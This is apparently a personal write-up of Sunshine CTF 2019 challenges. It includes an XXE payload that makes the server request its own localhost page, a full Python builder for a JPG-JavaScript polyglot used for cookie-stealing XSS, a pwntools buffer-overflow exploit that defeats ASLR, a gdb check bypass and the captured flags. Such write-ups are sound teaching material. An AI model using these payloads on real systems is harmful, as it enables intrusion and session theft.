Sunshine CTF 2019
Wrestler Name Generator
At first glance, a standard XXE exploit
document.getElementById("button").onclick = function() {
var firstName = document.getElementById("firstName").value;
var lastName = document.getElementById("lastName").value;
var input = btoa("<?xml version='1.0' encoding='UTF-8'?><input><firstName>" + firstName + "</firstName><lastName>" + lastName+ "</lastName></input>");
window.location.href = "/generate.php?input="+encodeURIComponent(input);
};
However, after fetching generate.php
, theres an interesting block at the top:
$whitelist = array(
'127.0.0.1',
'::1'
);
// if this page is accessed from the web server, the flag is returned
// flag is in env variable to avoid people using XXE to read the flag
// REMOTE_ADDR field is able to be spoofed (unless you already are on the server)
if(in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
echo $_ENV["FLAG"];
return;
Given that header spoofing did not work, what if I used the XXE to load the web page?
Payload:
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://127.0.0.1/generate.php" >]><input><firstName>&xxe;</firstName><lastName></lastName></input>
Enter The Polygon 1
I was presented with a site accepting image uploads. After uploading a standard image, the website tried to embed the image as a <script>
source and complained "There is no exif data". Am I meant to XSS an administrator through EXIF data?
It turns out that no, the EXIF tags are not the solution. The values of the EXIF tags are sanitised properly before being displayed.
The answer lies with this article. I crafted a JPG-Javascript polyglot:
#!/usr/bin/python3
import sys
import binascii
import struct
# arg1: jpg file
# arg2: output file
# arg3: js payload
OFFSET_JPG_HEADER = 4
with open(sys.argv[1], "rb") as f:
input_image = f.read()
len_jpg_header = int.from_bytes(input_image[OFFSET_JPG_HEADER:OFFSET_JPG_HEADER + 2], "big")
print("jpg header length={}".format(len_jpg_header))
# i'm going to rewrite the header length to 0x2F2A,
# so read the original header and pad the end till its 0x2F2A long
jpg_header = b'\x2F\x2A' + input_image[OFFSET_JPG_HEADER:OFFSET_JPG_HEADER + len_jpg_header + 2]
jpg_header += b'\x00' * (0x2F2A - len_jpg_header)
# read js payload and convert to hex
payload = sys.argv[3].encode("ascii")
print("Payload: {}".format(payload))
payload = b'*/' + payload + b'/*'
print("Payload modified to: {}".format(payload))
print("Payload length (bytes)={} or {}".format(len(payload), hex(len(payload))))
# create JPEG comment
# FF FE <2b length of comment including this> <payload>
comment = b'\xFF\xFE' + struct.pack(">H", len(payload) + 2) + payload
# put it all together:
# 0:OFFSET_JPG_HEADER +
# modified jpeg header +
# jpeg comment +
# OFFSET_JPG_HEADER + len_jpg_header:
final = input_image[0:OFFSET_JPG_HEADER] + \
jpg_header + \
comment + \
input_image[OFFSET_JPG_HEADER + len_jpg_header:]
# lastly, close the second js comment
# chop off the last 4 bytes of final and rewrite it to be
# 2A 2F FF D9 (comment close, jpeg close)
final = final[0:-4] + b'\x2A\x2F\xFF\xD9'
print("Writing to {}".format(sys.argv[2]))
with open(sys.argv[2], "wb") as f:
f.write(final)
Threw in a payload from xsshunter, and got a hit almost immediately.
The flag was in a cookie.
This diagram describing the JPG format was really useful. Note that there needed to be an =
before my payload because the file header was being interpreted as a variable name, turning the file into
<file header> = /* chunk of commented "code" */=<payload>/* chunk of commented "code" */<file end>
Timewarp
Scripting challenge where one had to retrieve the next input one at a time
justin@kali:~/sunshinectf$ nc tw.sunshinectf.org 4101
I'm going to give you some numbers between 0 and 999.
Repeat them back to me in 30 seconds or less!
1
39
G3tting c0lder!
justin@kali:~/sunshinectf$ nc tw.sunshinectf.org 4101
I'm going to give you some numbers between 0 and 999.
Repeat them back to me in 30 seconds or less!
39
39
Gre4t j0b!
1
61
Uh 0h, th4t's n0t it!
Solvable with a script:
from pwn import *
numbers = []
while True:
r = remote("tw.sunshinectf.org", 4101)
r.recvuntil("30 seconds or less!")
for i, number in enumerate(numbers):
print("Sending number "+number)
r.sendline(number)
r.recvline()
resp = r.recvline().strip()
print(resp)
r.recvuntil("!")
#print("Retrieving number")
r.sendline("a")
r.recvline()
num = r.recvline().strip()
numbers.append(num)
print(numbers)
if "fixing the timestream" in num:
r.interactive()
r.close()
Though 300 requests with this
PING tw.sunshinectf.org (34.195.38.232) 56(84) bytes of data.
64 bytes from ec2-34-195-38-232.compute-1.amazonaws.com (34.195.38.232): icmp_seq=1 ttl=128 time=240 ms
64 bytes from ec2-34-195-38-232.compute-1.amazonaws.com (34.195.38.232): icmp_seq=2 ttl=128 time=240 ms
made it impossible to submit the 300 numbers in 30s. I resorted to spinning up a droplet in San Francisco to run the script.
Return To Mania
Standard buffer overflow challenge. Documenting this because i'm still new to this.
void welcome(void)
{
undefined local_16 [14];
puts("Welcome to WrestleMania! Type in key to get access.");
printf("addr of welcome(): %p\n",welcome);
__isoc99_scanf(&DAT_0001087b,local_16);
return;
}
Stack structure of the welcome
function looks like this. We have an unchecked write and can use it to overwrite the return address of welcome
, making it return to mania
instead. I just have to write 0x16 bytes of garbage, then the address to jump to.
-000000000000012 var_12 db ?
-0000000000000011 db ? ; undefined
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 var_4 dd ?
+0000000000000000 s db 4 dup(?)
+0000000000000004 r db 4 dup(?)
+0000000000000008
+0000000000000008 ; end of stack variables
The tricky part is ASLR - the address of mania
varies every time. welcome
and mania
have offsets 0x6ed
and 0x65d
respectively:
justin@kali:~/sunshinectf$ readelf -a return-to-mania | grep "welcome"
59: 000006ed 89 FUNC GLOBAL DEFAULT 14 welcome
justin@kali:~/sunshinectf$ readelf -a return-to-mania | grep "mania"
35: 00000000 0 FILE LOCAL DEFAULT ABS return-to-mania.c
70: 0000065d 144 FUNC GLOBAL DEFAULT 14 mania
With the conveniently printed out address of welcome
, I can calculate the address of mania
because I know that mania
is 0x6ed
- 0x65d
bytes below welcome
.
import binascii
from pwn import *
WELCOME_OFFSET = 0x6ed
MANIA_OFFSET = 0x65d
#r = process("./return-to-mania")
r = remote("ret.sunshinectf.org", 4301)
r.recvline()
welcome_addr = r.recvline().split("0x")[1]
print("welcome at "+welcome_addr)
mania_addr = int(welcome_addr, 16) - (WELCOME_OFFSET - MANIA_OFFSET)
print("mania at "+hex(mania_addr))
r.sendline("A"*0x16 + p32(mania_addr))
print(r.recv(timeout=1))
works!
justin@kali:~/sunshinectf$ python ret2mania.py
[+] Opening connection to ret.sunshinectf.org on port 4301: Done
welcome at 565806ed
mania at 0x5658065d
WELCOME TO THE RING!
sun{0V3rfl0w_rUn_w!Ld_br0th3r}
[*] Closed connection to ret.sunshinectf.org port 4301
Patches' Punches
An extremely basic patch out instruction challenge - the flag is only printed if ebp+var_10
is 0, yet the previous instruction sets it to 1.
I'm sure theres a way to patch out the instruction in the binary directly but I resorted to using gdb to skip the instruction.
(gdb) disass main
Dump of assembler code for function main:
0x0000051d <+0>: lea 0x4(%esp),%ecx
0x00000521 <+4>: and $0xfffffff0,%esp
0x00000524 <+7>: pushl -0x4(%ecx)
0x00000527 <+10>: push %ebp
0x00000528 <+11>: mov %esp,%ebp
0x0000052a <+13>: push %ebx
0x0000052b <+14>: push %ecx
0x0000052c <+15>: sub $0x10,%esp
0x0000052f <+18>: call 0x5c6 <__x86.get_pc_thunk.ax>
0x00000534 <+23>: add $0x1aa4,%eax
0x00000539 <+28>: movl $0x1,-0x10(%ebp)
0x00000540 <+35>: cmpl $0x0,-0x10(%ebp)
0x00000544 <+39>: jne 0x5a3 <main+134>
0x00000546 <+41>: movl $0x0,-0xc(%ebp)
0x0000054d <+48>: jmp 0x580 <main+99>
0x0000054f <+50>: lea 0xc8(%eax),%ecx
0x00000555 <+56>: mov -0xc(%ebp),%edx
0x00000558 <+59>: add %ecx,%edx
0x0000055a <+61>: movzbl (%edx),%edx
0x0000055d <+64>: mov %edx,%ecx
0x0000055f <+66>: mov -0xc(%ebp),%edx
0x00000562 <+69>: mov 0x48(%eax,%edx,4),%edx
0x00000569 <+76>: sub %edx,%ecx
0x0000056b <+78>: mov %ecx,%edx
0x0000056d <+80>: mov %edx,%ebx
0x0000056f <+82>: lea 0xc8(%eax),%ecx
0x00000575 <+88>: mov -0xc(%ebp),%edx
0x00000578 <+91>: add %ecx,%edx
0x0000057a <+93>: mov %bl,(%edx)
0x0000057c <+95>: addl $0x1,-0xc(%ebp)
0x00000580 <+99>: cmpl $0x1e,-0xc(%ebp)
0x00000584 <+103>: jle 0x54f <main+50>
0x00000586 <+105>: sub $0x8,%esp
0x00000589 <+108>: lea 0xc8(%eax),%edx
0x0000058f <+114>: push %edx
0x00000590 <+115>: lea -0x1988(%eax),%edx
0x00000596 <+121>: push %edx
0x00000597 <+122>: mov %eax,%ebx
0x00000599 <+124>: call 0x3b0 <printf@plt>
0x0000059e <+129>: add $0x10,%esp
0x000005a1 <+132>: jmp 0x5b7 <main+154>
0x000005a3 <+134>: sub $0xc,%esp
0x000005a6 <+137>: lea -0x1970(%eax),%edx
0x000005ac <+143>: push %edx
0x000005ad <+144>: mov %eax,%ebx
0x000005af <+146>: call 0x3b0 <printf@plt>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) b *main+28
Breakpoint 1 at 0x539
(gdb) r
Starting program: /home/justin/sunshinectf/patches
Breakpoint 1, 0x56555539 in main ()
(gdb) jump *main+41
Continuing at 0x56555546.
Hurray the flag is sun{To0HotToHanDleTo0C0ldToH0ld!}
[Inferior 1 (process 10214) exited normally]
Entry Exam
I still can't see the point of this challenge... but it was surprisingly straightforward to solve. This challenge involves solving math questions with a catch - the answers have to be submitted by filling in a scantron sheet.
To fill out the scantron, I used PIL
to draw circles from hardcoded offsets.
get_scantron.py:
from PIL import Image, ImageDraw
CIRCLE_RADIUS = 25
# coordinates of A1
BASE_X = 360
BASE_Y = 460
OFFSET_X = 68
OFFSET_Y = 90
def fill(draw, question, option):
# question: 0-19
# option: 0-4
x = BASE_X
y = BASE_Y
r = CIRCLE_RADIUS
# question 11 - 20 are in another section to the right
if question >= 10:
x += 493
x += OFFSET_X * option
y += OFFSET_Y * (question % 10)
draw.ellipse((x-r, y-r, x+r, y+r), fill=0)
def get_scantron(answers):
# answers: list of tuples (question, option)
base = Image.open("scantron.png")
draw = ImageDraw.Draw(base)
for answer in answers:
fill(draw, answer[0], answer[1])
base.save("tmp.png")
And to actually retrieve and solve the exams, good ol' request
and BeautifulSoup
from bs4 import BeautifulSoup
import requests
from get_scantron import get_scantron
TARGET_URL = "http://ee.sunshinectf.org/exam"
s = requests.session()
r = s.get(TARGET_URL)
while True:
soup = BeautifulSoup(r.text, "lxml")
container = soup.find("ol")
question_eles = container.findChildren("li", recursive=False)
answers_eles = container.findChildren("ol", recursive=False)
answers = []
for i in range(20):
question_ele = question_eles[i]
answers_ele = answers_eles[i]
question = question_ele.text
answer = int(eval(question))
option = 99
for u, li in enumerate(answers_ele.find_all("li")):
if li.text == str(answer):
option = u
break
if option == 99:
print("Question: " + question)
print("Calculated answer: " + answer)
print(answers_ele)
raise Exception("Could not find answer")
answers.append((i, u))
print(answers)
get_scantron(answers)
files = {"file":("solution.png", open("tmp.png", "rb"))}
r = s.post(TARGET_URL, files=files)
print(r.text)
Yes, I know I shoudn't be using eval
on untrusted input, but in this case, development speed is everything...
CB1
Listening to the .wav file provided gives us the following string:
HKCGXKZNKOJKYULSGXIN
Chucking that into a Caesar Cipher solver here, the answer pops up:
BEWARETHEIDESOFMARCH
Portfolio
Oops.